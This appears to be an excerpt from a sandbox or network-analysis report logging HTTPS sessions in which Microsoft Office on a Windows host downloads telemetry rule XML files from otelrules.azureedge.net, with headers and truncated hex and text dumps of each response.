2024-11-28 12:10:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 9e1e151e-901e-0083-260b-41bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121053Z-174f7845968vqt9xhC1EWRgten0000000yb0000000009n8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49956	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:53 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:54 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:53 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a56f9727-801e-0035-2f31-40752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121053Z-174f7845968jrjrxhC1EWRmmrs0000000yh0000000005t3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49957	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:54 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:54 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b0621631-101e-008e-3d91-3fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121054Z-174f78459685726chC1EWRsnbg0000000yh0000000002n64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49958	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:55 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: a0c05303-f01e-0000-2d91-3f193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121055Z-174f7845968ljs8phC1EWRe6en0000000yag000000002k4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49959	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:55 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:11:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:11:00 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: e83b5619-a01e-000d-5811-41d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121100Z-174f7845968l4kp6hC1EWRe8840000000yq0000000004e9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:11:00 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49960	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:55 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:55 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: c922d918-601e-0032-6e42-41eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121055Z-174f7845968n2hr8hC1EWR9cag0000000xzg000000008vfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:55 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49961	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:55 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:56 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:56 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: fc0d267c-101e-0079-0929-415913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121056Z-174f7845968vqt9xhC1EWRgten0000000yc0000000008bxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:56 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49962	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:56 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:57 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: cf7e946f-901e-0083-4991-3fbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121056Z-174f78459685726chC1EWRsnbg0000000yeg000000006395 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:57 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49963	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:57 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:58 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:58 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: effa0956-a01e-0032-4c91-3f1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121058Z-174f7845968kvnqxhC1EWRmf3g0000000h40000000008tbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:58 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49965	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:58 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:58 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:58 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 24e5792c-101e-008d-7f47-4192e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121058Z-174f7845968frfdmhC1EWRxxbw0000000ye00000000067qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49966	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:58 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:58 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:58 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: af0b01d9-401e-0035-6c5f-4082d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121058Z-174f7845968nxc96hC1EWRspw80000000y1000000000a5ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:58 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49967	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:58 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:59 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:59 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 35d21284-b01e-001e-2c15-410214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121059Z-174f7845968jrjrxhC1EWRmmrs0000000ym0000000003kdh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:59 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> 